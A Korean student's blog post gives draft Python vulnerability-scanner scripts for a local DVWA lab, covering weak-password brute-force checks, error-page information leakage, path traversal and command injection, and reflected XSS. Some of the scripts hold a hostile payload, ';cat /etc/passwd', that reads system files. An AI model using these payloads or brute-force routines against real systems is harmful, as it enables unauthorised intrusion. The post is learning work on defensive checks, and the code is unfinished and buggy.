촬리의늘솔길

중간 점검 본문

✍~2022/web보안

중간 점검

리촬리 2021. 7. 22. 13:17

약한 문자열 강도

약한문자열강도
입력 : 로그인 페이지 URL과 파라미터
공격 패턴 : 가이드 상의 취약한 계정 11개 X 취약한 패스워드 9개 조합 적용
판별은 로그인 성공 여부와 일정 횟수(3~5회) 시도시 제한 여부 2가지를 확인하여 하나라도 안되면 취약

import requests
from bs4 import BeautifulSoup

def main():
    url = input("url입력하시오:")
    save_txt(url)
    #check_request(url)
    user_id = input("id입력:")
    user_pw = input("pw입력:")
    gethtml(url,user_id,user_pw)
    return 0

def save_txt(url):
    f=open("url.txt","w")
    f.write(url)
    f.close()
    return 0

def set_header():
    f = open("cookie.txt", 'r')
    line=f.readline()
    f.close()
    return line

로그인 페이지의 URL을 입력받고, 그 URL로 request를 날려 돌아오는 response를 beautifulsoap으로 
input 태그를 탐색해서 id와 pw에 해당하는 name을 검색하여 그 곳에 데이터를 날리도록 수정 필요
로그인 URL만 입력받고 그 URL로 requests를 보낼 때, input 태그를 가져와서 
 로그인 id와 pw를 어떤 input 태그로 쓰는지 보고 그 쪽으로 로그인시도를 하는

def gethtml(url,user_id,user_pw):
    response = requests.get(url)
    html = response.text
    soup = BeautifulSoup(html, 'html.parser')
    tag = soup.find_all('input',limit =2)
    tag[0]['name'] = user_id
    tag[1]['name'] = user_pw
    print(soup)
    return soup,user_id,user_pw

가이드 상의 아이디와 비밀번호는 정의되어있는 공격 패턴이니까 
사용자한테 입력받는게 아니라 txt에서 로드해서 하면 되고,   
첫 번째 요청 보냈을 때의 response와 6번째 보냈을 때의 response의 
길이를 비교해서 같으면 취약한걸로 다르면 확인필요로 하고 화면 띄워줘서 확인하도록

#def check_secure1():
# 같은 id로 5번 넘게 request를 날렸을때(틀린 pw로) 잠김이 되지 않으면 취약
#def check_secure2():
#위 두가지 하나라도 취약하면 취약   
#def print_secure():
    
if __name__ == "__main__":
    main()
    

 

어렵다 어렵당..!


정보누출



import requests
from urllib.request import urlopen
from bs4 import BeautifulSoup
from urllib.error import HTTPError


    
def main():
    url = input("url 입력하시오:")
    save_txt(url)
    error = url + "error"
    print(error)
    except_page(error)
    check_status(error)
    return 0

def save_txt(url):
    f=open("url.txt","w")
    f.write(url)
    f.close() 
    return 0

#예외처리(그냥 해보기)
def except_page(error):
    try:
        html=urlopen(error)
    except HTTPError as e:
        print(e)
    else:
        soup = BeautifulSoup(html, 'html.parser')
        print(soup)
        
def gethtml(error):
    res = requests.get(error)
    html = res.text
    soup = BeautifulSoup(html, 'html.parser')
    print(soup)
    check_result(soup)
    

def check_status(error):
    res = requests.get(error)
    code = res.status_code
    print(res)
    print(code)
    if code == 404:
        gethtml(error)
        return 0
#210716 멘토 코멘트 : 사실상 이렇게 구현하면 apache인 웹서비스에 해당해서만
#정보누출 취약점을 점검할 수 있음, 다른 웹서비스나 not foind 등 다른 패턴도 추가해서 확인하는 것이 필요함
def check_result(soup):
    soup = str(soup)
    print(soup)
    #아파치서버
    check_version = soup.lower().find('apache')
    print(check_version)
    if check_version == -1 :
        print("양호")
    else:
        print("취약")
    
    #Tomcat서버 일경우
#     check_version = soup.lower().find('Tomcat')
#     if check_version == -1 :
#         print("양호")
#     else:
#         print("취약")

if __name__ == "__main__":
    main()

#IIS서버 : 사용자 정의에러페이지 직접 지정해야한다.

 

아파치 서버는얼추 완성함, 다른서버는 ...어떻게 해야할지 모르겠음.


#문제점 : root가 soup으로 긁어온거에 안뜸..왜지?
# pattern이 똑같은거 2번반복됨 

 

파일다운로드


import requests
from bs4 import BeautifulSoup
# 1. main함수
def main():
    path = input("경로를 입력하세요")
    param = str(input("파라미터 입력하시오:"))
    pattern_load(path,param)
    save_txt(path,param)

    
#텍스트파일에저장
def save_txt(path,param):
    f=open("url.txt","w")
    f.write(path)
    f.close()
    
    f2 = open("param.txt","w")
    f2.write(param)
    f2.close()
    return 0



    
#4. 공격패턴 로드함수: 공격 패턴을 txt에서 로드하여 pattern별로 request를 요청하고 판단
def pattern_load(path,param):
    f = open("pattern.txt", 'r')
    pattern_n=1
    pattern=f.readline()
    list_file = []
    final=0
    
    while pattern : 
        print('%s' %(pattern))
        list_file.append(pattern)
        pattern=f.readline()
        pattern_n += 1
        
        for i in range(len(list_file)):
            url = path+ list_file[i]
            print(url)
            #+'&'+param+'='
            soup, params=check_request(url)
            final = check_result(soup, final)
            #print('%s' %(line))
    f.close()
    
    
    print(final)
    
    if final == 1:
        print("점검URL:",path,"\n == 최종결과 취약점이 발견되었습니다.\n\n\n")
    else:
        print("점검URL:",path,"\n == 최종결과 취약점이 발견되지 않았습니다.\n\n\n")
    return 0
    


#5. 점검요청함수: 점검URL과 공격패턴을 포함한 requset를 요청하여 응답값을 받아 저장   
def check_request(url):
    params={'':';cat /etc/passwd','Submit':'Submit'}
    header = {'Cookie' : 'security=High; PHPSESSID=kqnaupcb8fmq5752ic4orvv5on'}
    response = requests.get(url=url, headers=header, params=params)
    #4. 출력을 무엇을 해줄지 (예를 들어 취약한 경우에 공격 url과 결과 이미지 등등 또는 양호할 경우는)
    status = response.status_code
    html = response.text
    soup = BeautifulSoup(html, 'html.parser')

    return soup, params


#6. 점검결과함수


def check_result(soup, final):
    soup = str(soup)
    print(soup)
    detect=soup.lower().find('root:')
    print(detect)
    #판단 근거 = root: 문자열을 찾아서 -1이면 문자열이 없고 다른 수이면 그 위치에 문자열이 있다
    #print(detect)
    #6.1 취약양호판단(다운로드 되었는지 여부확인)
    if detect==-1:
        print("양호")
    else:
        print("취약")
        final=1
    return final


if __name__ == "__main__":
    main()

 

더 세부적으로 해야함 

파라미터 값을 뭘 어떻게 입력받아야 하는건지.. 링크에 그냥 붙여넣으면 안되는것같음 

아마 도?


경로추적 (파일다운로드랑 다를게없음)

#개행별로 def이용해서 짜보기

import requests
from bs4 import BeautifulSoup

# 1. main함수
def main():
    path = input("경로를 입력하세요")
    save_txt(path)
    pattern_load(path)
    
#2. 경로 입력받는 함수(함수로 안했음 전역변수가 편할듯)
#3. 헤더세팅함수(필요없을것같아서 뺌)
    
def save_txt(path):
    f=open("url.txt","w")
    f.write(path)
    f.close()
    
    
#4. 공격패턴 로드함수: 공격 패턴을 txt에서 로드하여 pattern별로 request를 요청하고 판단
def pattern_load(path):
    f = open("pattern.txt", 'r')
    pattern_n=1
    pattern=f.readline()
    list_file = []
    final=0
    
    while pattern : 
        print('%s' %(pattern))
        list_file.append(pattern)
        pattern=f.readline()
        pattern_n += 1
    f.close()

    for i in range(len(list_file)):
        url = path+ list_file[i]
        print(url)
        
    while pattern:
        soup, params=check_request(url)
        final = check_result(soup, params, url, final)
        #print('%s' %(line))
    f.close()
    
    
    print(final)
    
    if final == 1:
        print("점검URL:",path,"\n == 최종결과 취약점이 발견되었습니다.\n\n\n")
    else:
        print("점검URL:",path,"\n == 최종결과 취약점이 발견되지 않았습니다.\n\n\n")
    return 0
    
    
#4.1 개행삭제 함수 : url = path + pattern 로드하면 개행 지우고 추가해야함
#def delete_newline()

#5. 점검요청함수: 점검URL과 공격패턴을 포함한 requset를 요청하여 응답값을 받아 저장   
def check_request(url):
    params={'ip':';cat /etc/passwd','Submit':'Submit'}
    header = {'Cookie' : 'security=low; PHPSESSID=kqnaupcb8fmq5752ic4orvv5on'}
    response = requests.get(url=url, headers=header, params=params)
    #4. 출력을 무엇을 해줄지 (예를 들어 취약한 경우에 공격 url과 결과 이미지 등등 또는 양호할 경우는)
    if  response.status_code == 200:
        html = response.text
        soup = BeautifulSoup(html, 'html.parser')
        print(soup)
    else :
        print(response.status_code)
        
    
    
    return soup, params


#6. 점검결과함수
def check_result(soup, params, url, final):
    detect=soup.find('root:')
    #판단 근거 = root: 문자열을 찾아서 -1이면 문자열이 없고 다른 수이면 그 위치에 문자열이 있다
    #print(detect)
    #6.1 취약양호판단
    
    if detect==-1:
        print("양호")
    else:
        print("취약")
        final=1
        
    print("URL:", url)
    print("DATA:", params)
    print("\n")
    return final


if __name__ == "__main__":
    main()

 

근데 이건그냥 뒤에 공격구문 붙여주기만 하면된다고..파라미터 입력필요없다고..

함.

이와 관련해서 수정해야함.


상당히 답이없는 XSS

#?name=%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E 이렇게 뜸 
#파라미터 값이라는게, 그 이름값을 얘기하는게 아니라 말그대로 값이다.



import requests
from bs4 import BeautifulSoup

#url =http://127.0.0.1:8001/dvwa/vulnerabilities/xss_r/



#1. main함수: url과 파라미터 입력받기
def main():
    url = input("url입력하시오:")
    param = str(input("파라미터 입력하시오:"))
    save_txt(url,param)
    pattern_load(url,param)
    
    return 0

#텍스트파일에저장
def save_txt(url,param):
    f=open("url.txt","w")
    f.write(url)
    f.close()
    
    f2 = open("param.txt","w")
    f2.write(param)
    f2.close()
    return 0



# 헤더세팅
def set_header():
    f = open("cookie.txt", 'r')
    line=f.readline()
    f.close()
    return line


#. 크롤링함수
def gethtml(res):
    req = requests.get(res)
    html = req.text
    soup = BeautifulSoup(html, 'html.parser')
    check_result(soup)

    
    
#3.공격 로드 함수:url+파라미터
def pattern_load(url,param):
    f = open("pattern_2.txt",'r',encoding='UTF8')
    pattern = f.readline()
    while pattern:
        res,data = check_request(url,param,pattern)
        pattern = f.readline()
    gethtml(res)
    f.close()
    
    

#4. 점검요청함수(공격구문 파라미터에 넣어서 돌리기)
def check_request(url,param,pattern):
    header = {'Cookie' : set_header()}
    data = {param : pattern }
    #파라미터를 사용자가 입력한 값으로 바꿔야 하는데..방법 모르겠음.
    response = requests.get(url=url, headers=header, params = data )
    res = response.url
    status = response.status_code
    return res,data



#4.1 공격결과 확인 
#점검결과 함수 :db에 <script></script> ==> 취약 
    #먼저 response 메시지에 <와 >가 &lt와 &gt로 치환되어나타나는지를 확인 -> 치환되었으면 양호
    #치환 안되었으면 파라미터에 공격구문 넣어서 요청 보내 확인
    #케이스에 따라 판별하는 방법을 다르게 해야함 alert를 쓰는 경우와 안쓰고 다른 구문(onerror나)을 쓰는 경우 등

    
    
def check_result(soup):
    #1.치환되었는지 여부확인(보완필요)
    detect = soup.find("&lt","&gt")
    if detect == 1 :
        print("양호")
    else:
        print("치환되지 않아 취약합니다")
        
    #2. 케이스에 따른 취약양호
    #2.1.1 alert 가 실행되었는지 (.....어떻게 확인?)
    #2.1.2 img
    #2.1.3 etc..
    
    
if __name__ == "__main__":
    main()

 

 XSS는 csrf 값이 있어서 그냥 보내면 잘 안되는거 같더라고, 일단 페이지 URL만으로 로그인하는 기능을 만들어야 할 것 같아서 일단 시간이 걸릴것 같아 라고 하셔서 피드백 올때까지 기다림ㅎㅎ...어려워 제일

#참고https://blog.naver.com/takudaddy/222269347187
#공격패턴 https://owasp.org/www-community/xss-filter-evasion-cheatsheet

728x90

'✍~2022 > web보안' 카테고리의 다른 글

약한문자열강도 중간점검  (0) 2021.08.04
python 새롭게 알게된것(1)  (0) 2021.08.04
약한문자열, 정보누출  (0) 2021.07.07
경로추적/파일다운로드  (0) 2021.07.07
XSS  (0) 2021.07.07